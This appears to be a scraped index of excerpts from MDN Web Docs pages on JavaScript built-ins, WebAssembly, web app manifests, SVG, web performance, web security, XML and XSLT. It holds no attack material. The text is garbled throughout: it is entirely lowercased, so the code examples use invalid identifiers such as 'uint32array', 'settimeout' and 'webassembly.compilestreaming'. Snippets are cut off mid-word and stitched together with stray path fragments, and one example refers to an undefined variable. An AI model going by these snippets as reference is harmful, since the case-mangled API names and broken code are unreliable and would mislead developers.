examples using tolocalestring var uint = new uint32array([2000, 500, 8123, 12, 4212]); uint.tolocalestring(); // if run in a de-de locale // "2.000,500,8.123,12,4.212" uint.tolocalestring('en-us'); // "2,000,500,8,123,12,4,212" uint.tolocalestring('ja-jp', { style: 'currency', currency: 'jpy' }); // "¥2,000,¥500,¥8,123,¥12,¥4,212" specifications specification ecmascript (ecma-262)the definition of 'typedarr...
WeakMap.prototype.clear() - JavaScript
syntax wm.clear(); examples using the clear method var wm = new weakmap(); var obj = {}; wm.set(obj, 'foo'); wm.set(window, 'bar'); wm.has(obj); // true wm.has(window); // true wm.clear(); wm.has(obj) // false wm.has(window) // false specifications not part of any standard.
WeakMap.prototype.delete() - JavaScript
examples using the delete method var wm = new weakmap(); wm.set(window, 'foo'); wm.delete(window); // returns true.
WeakMap.prototype.get() - JavaScript
examples using the get method var wm = new weakmap(); wm.set(window, 'foo'); wm.get(window); // returns "foo".
WeakMap.prototype.has() - JavaScript
examples using the has method var wm = new weakmap(); wm.set(window, 'foo'); wm.has(window); // returns true wm.has('baz'); // returns false specifications specification ecmascript (ecma-262)the definition of 'weakmap.prototype.has' in that specification.
WeakSet.prototype.clear() - JavaScript
syntax ws.clear(); examples using the clear method var ws = new weakset(); ws.add(window); ws.has(window); // true ws.clear(); ws.has(window); // false specifications not part of any standard.
WeakSet.prototype.delete() - JavaScript
examples using the delete method var ws = new weakset(); var obj = {}; ws.add(window); ws.delete(obj); // returns false.
WeakSet.prototype.has() - JavaScript
examples using the has method var ws = new weakset(); var obj = {}; ws.add(window); myset.has(window); // returns true myset.has(obj); // returns false specifications specification ecmascript (ecma-262)the definition of 'weakset.prototype.has' in that specification.
WebAssembly.Memory.prototype.buffer - JavaScript
webassembly.instantiatestreaming(fetch('memory.wasm'), { js: { mem: memory } }) .then(obj => { var i32 = new uint32array(memory.buffer); for (var i = 0; i < 10; i++) { i32[i] = i; } var sum = obj.instance.exports.accumulate(0, 10); console.log(sum); }); specifications specification webassembly javascript interfacethe definition of 'buffer' in that specification.
WebAssembly.Module.customSections() - JavaScript
note that the webassembly text format currently doesn't have a syntax specified for adding new custom sections; you can however add a name section to your wasm during conversion from text format over to .wasm.
WebAssembly.Module.exports() - JavaScript
var worker = new worker("wasm_worker.js"); webassembly.compilestreaming(fetch('simple.wasm')) .then(mod => worker.postmessage(mod) ); in the worker (see wasm_worker.js) we define an import object for the module to use, then set up an event handler to receive the module from the main thread.
WebAssembly.compile() - JavaScript
var worker = new worker("wasm_worker.js"); fetch('simple.wasm').then(response => response.arraybuffer() ).then(bytes => webassembly.compile(bytes) ).then(mod => worker.postmessage(mod) ); note: you'll probably want to use webassembly.compilestreaming() in most cases, as it is more efficient than compile().
WebAssembly.instantiateStreaming() - JavaScript
importobject optional an object containing the values to be imported into the newly-created instance, such as functions or webassembly.memory objects.
WebAssembly - JavaScript
creating new memory and table instances via the webassembly.memory()/webassembly.table() constructors.
decodeURI() - JavaScript
return value a new string representing the unencoded version of the given encoded uniform resource identifier (uri).
decodeURIComponent() - JavaScript
return value a new string representing the decoded version of the given encoded uniform resource identifier (uri) component.
encodeURI() - JavaScript
return value a new string representing the provided string encoded as a uri.
globalThis - JavaScript
however, this causes csp violations in some settings, so es6-shim uses a check like this, for example: var getglobal = function () { if (typeof self !== 'undefined') { return self; } if (typeof window !== 'undefined') { return window; } if (typeof global !== 'undefined') { return global; } throw new error('unable to locate global object'); }; var globals = getglobal(); if (typeof globals.settimeout !== 'function') { // no settimeout in this environment!
isNaN() - JavaScript
umber 37 which is not nan isnan('37.37'); // false: "37.37" is converted to the number 37.37 which is not nan isnan("37,5"); // true isnan('123abc'); // true: parseint("123abc") is 123 but number("123abc") is nan isnan(''); // false: the empty string is converted to 0 which is not nan isnan(' '); // false: a string with spaces is converted to 0 which is not nan // dates isnan(new date()); // false isnan(new date().tostring()); // true // this is a false positive and the reason why isnan is not entirely reliable isnan('blabla'); // true: "blabla" is converted to a number.
Inequality (!=) - JavaScript
// false "hello" != "hello"; // false comparison with type conversion "1" != 1; // false 1 != "1"; // false 0 != false; // false 0 != null; // true 0 != undefined; // true 0 != !!null; // false, look at logical not operator 0 != !!undefined; // false, look at logical not operator null != undefined; // false const number1 = new number(3); const number2 = new number(3); number1 != 3; // false number1 != number2; // true comparison of objects const object1 = {"key": "value"} const object2 = {"key": "value"}; object1 != object2 // true object2 != object2 // false specifications specification ecmascript (ecma-262)the definition of 'equality operators' in that specification.
Logical NOT (!) - JavaScript
n3 = !!(new boolean(false)) // ...even boolean objects with a false .valueof()!
Optional chaining (?.) - JavaScript
let mymap = new map(); mymap.set("foo", {name: "baz", desc: "inga"}); let namebar = mymap.get("bar")?.name; short-circuiting evaluation when using optional chaining with expressions, if the left operand is null or undefined, the expression will not be evaluated.
async function expression - JavaScript
examples simple example function resolveafter2seconds(x) { return new promise(resolve => { settimeout(() => { resolve(x); }, 2000); }); }; const add = async function(x) { // async function expression assigned to a variable let a = await resolveafter2seconds(20); let b = await resolveafter2seconds(30); return x + a + b; }; add(10).then(v => { console.log(v); // prints 60 after 4 seconds.
await - JavaScript
function resolveafter2seconds(x) { return new promise(resolve => { settimeout(() => { resolve(x); }, 2000); }); } async function f1() { var x = await resolveafter2seconds(10); console.log(x); // 10 } f1(); thenable objects thenable objects will be fulfilled just the same.
delete operator - JavaScript
elete employeedetails; // returns true function f() { var z = 44; // delete doesn't affect local variable names delete z; // returns false } delete and the prototype chain in the following example, we delete an own property of an object while a property with the same name is available on the prototype chain: function foo() { this.bar = 10; } foo.prototype.bar = 42; var foo = new foo(); // foo.bar is associated with the // own property.
class - JavaScript
the class declaration creates a new class with a given name using prototype-based inheritance.
const - JavaScript
my_object = {'other_key': 'value'}; // however, object keys are not protected, // so the following statement is executed without problem my_object.key = 'othervalue'; // use object.freeze() to make object immutable // the same applies to arrays const my_array = []; // it's possible to push items into the array my_array.push('a'); // ["a"] // however, assigning a new array to the variable throws an error // uncaught typeerror: assignment to constant variable.
for...in - JavaScript
var triangle = {a: 1, b: 2, c: 3}; function coloredtriangle() { this.color = 'red'; } coloredtriangle.prototype = triangle; var obj = new coloredtriangle(); for (const prop in obj) { if (obj.hasownproperty(prop)) { console.log(`obj.${prop} = ${obj[prop]}`); } } // output: // "obj.color = red" specifications specification ecmascript (ecma-262)the definition of 'for...in statement' in that specification.
for...of - JavaScript
const iterable = [10, 20, 30]; for (let value of iterable) { value += 1; console.log(value); } // 11 // 21 // 31 iterating over a string const iterable = 'boo'; for (const value of iterable) { console.log(value); } // "b" // "o" // "o" iterating over a typedarray const iterable = new uint8array([0x00, 0xff]); for (const value of iterable) { console.log(value); } // 0 // 255 iterating over a map const iterable = new map([['a', 1], ['b', 2], ['c', 3]]); for (const entry of iterable) { console.log(entry); } // ['a', 1] // ['b', 2] // ['c', 3] for (const [key, value] of iterable) { console.log(value); } // 1 // 2 // 3 iterating over a set const iterable = new set([...
for - JavaScript
this expression may optionally declare new variables with var or let keywords.
if...else - JavaScript
for example: var b = new boolean(false); if (b) // this condition is truthy examples using if...else if (cipher_char === from_char) { result = result + to_char; x++; } else { result = result + clear_char; } using else if note that there is no elseif syntax in javascript.
import.meta - JavaScript
for example, with the following html: <script type="module"> import './index.mjs?someurlinfo=5'; </script> ..the following javascript file will log the `someurlinfo parameter: // index.mjs new url(import.meta.url).searchparams.get('someurlinfo'); // 5 the same applies when a file imports another: // index.mjs import './index2.mjs?someurlinfo=5'; // index2.mjs new url(import.meta.url).searchparams.get('someurlinfo'); // 5 note that while node.js will pass on query parameters (or the hash) as in the latter example, as of node 14.1.0, a url with query parameters will err when loading ...
import - JavaScript
the module: file.js function getjson(url, callback) { let xhr = new xmlhttprequest(); xhr.onload = function () { callback(this.responsetext) }; xhr.open('get', url, true); xhr.send(); } export function getusefulcontents(url, callback) { getjson(url, data => callback(json.parse(data))); } the main program: main.js import { getusefulcontents } from '/modules/file.js'; getusefulcontents('http://www.example.com', data => { dosomethinguseful(data...
var - JavaScript
z = 5; // creates a new global variable z, and assigns it a value of 5.
Template literals (Template strings) - JavaScript
`\`` === '`' // --> true multi-line strings any newline characters inserted in the source are part of the template literal.
JavaScript reference - JavaScript
primary expressionsthis function class function* yield yield* async function await [] {} /ab+c/i ( ) null left-hand-side expressions property accessors new new.target super ...obj increment & decrement a++ a-- ++a --a unary operators delete void typeof + - ~ !
JavaScript
expressions and operators learn more about the behavior of javascript's operators instanceof, typeof, new, this, the operator precedence, and more.
categories - Web app manifests
note: categories values are lower-cased by the stores and catalogs before processing, so "news" and "news" are treated as the same value.
display - Web app manifests
browser browser the application opens in a conventional browser tab or new window, depending on the browser and platform.
shortcuts - Web app manifests
examples the following is a list of shortcuts a calendar app might have: "shortcuts" : [ { "name": "today's agenda", "url": "/today", "description": "list of events planned for today" }, { "name": "new event", "url": "/create/event" }, { "name": "new reminder", "url": "/create/reminder" } ] specification specification status comment feedback web app manifestthe definition of 'shortcuts' in that specification.
Web app manifests
it: background_colorcategoriesdescriptiondirdisplayiarc_rating_idiconslangnameorientationprefer_related_applicationsrelated_applicationsscopescreenshotsserviceworkershort_nameshortcutsstart_urltheme_color example manifest { "name": "hackerweb", "short_name": "hackerweb", "start_url": ".", "display": "standalone", "background_color": "#fff", "description": "a simply readable hacker news app.", "icons": [{ "src": "images/touch/homescreen48.png", "sizes": "48x48", "type": "image/png" }, { "src": "images/touch/homescreen72.png", "sizes": "72x72", "type": "image/png" }, { "src": "images/touch/homescreen96.png", "sizes": "96x96", "type": "image/png" }, { "src": "images/touch/homescreen144.png", "sizes": "144x144", "type": "imag...
<mspace> - MathML
WebMathMLElementmspace
possible values: auto (default value), newline, nobreak, goodbreak, badbreak.
MathML
mailing list newsgroup rss feed matrix chat room wiki used by mozilla contributors w3c math home www-math w3.org mail archive tools w3c validator mathzilla firefox add-on collection texzilla — javascript latex to mathml converter (live demo, firefox os webapp, firefox add-on, using in a web page, js program etc) latexml - convert latex documents into html+mathml web pages web equation - turn han...
Autoplay guide for media and Web Audio APIs - Web media technologies
note: the specified feature policy applies to the document and every <iframe> nested within it, unless those frames include an allow, which sets a new feature policy for that frame and all frames nested within it.
Animation performance and frame rate - Web Performance
animating using transform now switch the radio button in the web page to "use transform", and make a new recording.
CSS and JavaScript animation performance - Web Performance
even if an element is in the middle of a transition, the new transition starts from the current style immediately instead of jumping to the end css state.
Performance fundamentals - Web Performance
instead re-use elements that scroll off screen as new ones coming in.
Recommended Web Performance Timings: How long is too long? - Web Performance
a second should be considered a rule in the maximum amount of time to indicate to a user that the request for new content was made and will load, such as the browser displaying the page title and the background color of the page displaying.
Navigation and resource timings - Web Performance
if the transport layer fails after the start of the request and the connection is reopened, this property will be set to the time corresponding to the new request.
Web Performance
start here if you are a newcomer to performance: web performance: brief overview overview of the web performance learning path.
Privacy, permissions, and information security
while specifications for these technologies either state or recommend tactics for handling situations like this, browsers may offer different solutions to improve security even further or to try new features, or try to reduce complexity for users, among other possible reasons.
Add to Home screen - Progressive web apps (PWAs)
note: at the time of writing, the functionality described below was only supported in newer versions of chrome — by default on windows, and behind the #enable-desktop-pwas flag on macos.
Web technology reference
if you're new to web development, consider starting with our learning area, which is filled with step-by-step tutorials that will guide you from total webdev newbie to at least semi-pro!
SVG Presentation Attributes - SVG: Scalable Vector Graphics
value: accumulate|new|inherit; animatable: no fill it defines the color of the inside of the graphical element it applies to.
data-* - SVG: Scalable Vector Graphics
WebSVGAttributedata-*
candidate recommendation custom data attributes are new in svg 2.
font-family - SVG: Scalable Vector Graphics
working draft adds new generic font families, specifically: system-ui, emoji, math, and fangsong.
mask - SVG: Scalable Vector Graphics
WebSVGAttributemask
extends its syntax by making it a shorthand for the new mask-* properties defined in that specification.
writing-mode - SVG: Scalable Vector Graphics
candidate recommendation mainly refers to the definition in css writing modes 3 and defines a mapping between the deprecated svg 1.1 values and the new values.
xlink:show - SVG: Scalable Vector Graphics
only one element is using this attribute: <a> usage notes value new | replace | embed | other | none default value replace animatable no new this value specifies that the referenced resource is opened in a new window or tab.
xlink:title - SVG: Scalable Vector Graphics
note: new content should use a <title> child element rather than a xlink:title attribute.
<svg> - SVG: Scalable Vector Graphics
WebSVGElementsvg
the svg element is a container that defines a new coordinate system and viewport.
SVG element reference - SVG: Scalable Vector Graphics
WebSVGElement
you should never use them in new projects, and should replace them in old projects as soon as you can.
Namespaces crash course - SVG: Scalable Vector Graphics
it's a good idea to use a template that includes all the commonly used namespace declarations when creating new svg files.
SVG 2 support in Mozilla - SVG: Scalable Vector Graphics
mplemented svgelement.focus(), svgelement.blur() not implemented (bug 778654) svgelement.tabindex implemented (bug 778654) document.activeelement implementation status unknown globaleventhandlers on svgelement implementation status unknown options dictionary attribute for svggraphicselement.getbbox() implemented behind the preference svg.new-getbbox.enabled (bug 999964, bug 1019326) allow leading and trailing whitespace in <length>, <angle>, <number> and <integer> implementation status unknown form feed (u+000c) in whitespace implementation status unknown svgelement.xmlbase, svgelement.xmllang and svgelement.xmlspace removed implementation status unknown svgviewspec removed implementati...
SVG animation with SMIL - SVG: Scalable Vector Graphics
this new element is necessary because we are not animating a simple attribute like x which is just a number.
Fills and Strokes - SVG: Scalable Vector Graphics
bevel creates a new angle to aid in the transition between the two segments.
Texts - SVG: Scalable Vector Graphics
WebSVGTutorialTexts
ld and red</tspan> </text> playable code <svg width="350" height="60" xmlns="http://www.w3.org/2000/svg"> <text> this is <tspan font-weight="bold" fill="red">bold and red</tspan> </text> <style><![cdata[ text{ dominant-baseline: hanging; font: 28px verdana, helvetica, arial, sans-serif; } ]]></style> </svg> the tspan element has the following custom attributes: x set a new absolute x coordinate for the containing text.
SVG: Scalable Vector Graphics
WebSVG
mailing list newsgroup rss feed tools svg test suite markup validator more tools...
Certificate Transparency - Web security
newly issued certificates are 'logged' to publicly run, often independent ct logs which maintain an append-only, cryptographically assured record of issued tls certificates.
Secure contexts - Web security
however, it’s important to note that if a non-secure context causes a new window to be created (with or without specifying noopener), then the fact that the opener was insecure has no effect on whether the new window is considered secure.
Subdomain takeovers - Web security
during deprovisioning you take down your virtual host, but an attacker sets up a new virtual host using the same name and hosting provider.
Weak signature algorithms - Web security
as new attacks are found and improvements in available technology make attacks more feasible, the use of older algorithms is discouraged and support for them is eventually removed.
Web security
newly issued certificates are 'logged' to publicly run, often independent ct logs which maintain an append-only, cryptographically assured record of issued tls certificates.
Tutorials
we have covered the necessary prerequisites so can now dive deep into css layout, looking at different display settings, traditional layout methods involving float and positioning, and new fangled layout tools like flexbox.
HTML Imports - Web Components
you import an html file by using a <link> tag in an html document like this: <link rel="import" href="myfile.html"> the import link type is new.
XML introduction - XML: Extensible Markup Language
for example, to create a new &warning; entity, you can do this: <?xml version="1.0" encoding="utf-8"?> <!doctype body [ <!entity warning "warning: something bad happened...
format-number - XPath
returns a string representing the number in the new format.
<xsl:fallback> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementfallback
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the <xsl:fallback> element specifies what template to use if a given extension (or, eventually, newer version) element is not supported.
Index - XSLT: Extensible Stylesheet Language Transformations
WebXSLTIndex
31 <xsl:fallback> element, reference, xslt, fallback the <xsl:fallback> element specifies what template to use if a given extension (or, eventually, newer version) element is not supported.
For Further Reading - XSLT: Extensible Stylesheet Language Transformations
(xsl): http://www.oasis-open.org/cover/xsl.html xsl-list subscribe: http://www.mulberrytech.com/xsl/xsl-list/ archives: http://www.biglist.com/lists/xsl-list/archives/ the xsl-list is a very active general mailing list, hosted by mulberry technologies mozilla.dev.tech.xslt google groups: http://groups.google.com/group/mozilla.dev.tech.xslt this is a newsgroup that discusses netscape-specific xslt issues.
Transforming XML with XSLT - XSLT: Extensible Stylesheet Language Transformations
(supported) string-length() (supported) substring() (supported) substring-after() (supported) substring-before() (supported) sum() (supported) system-property() (supported) translate() (supported) true() (supported) unparsed-entity-url() (not supported) for further reading books online the world wide web consortium portals articles tutorials/examples mailing lists/newsgroups resources index original document information copyright information: copyright © 2001-2003 netscape.
Basic Example - XSLT: Extensible Stylesheet Language Transformations
figure 6 : example var xslstylesheet; var xsltprocessor = new xsltprocessor(); var mydom; var xmldoc; function init(){ // load the xslt file, example1.xsl var myxmlhttprequest = new xmlhttprequest(); myxmlhttprequest.open("get", "example1.xsl", false); myxmlhttprequest.send(null); xslstylesheet = myxmlhttprequest.responsexml; xsltprocessor.importstylesheet(xslstylesheet); // load the xml file, example1.xml myxmlhttprequest = new xmlhtt...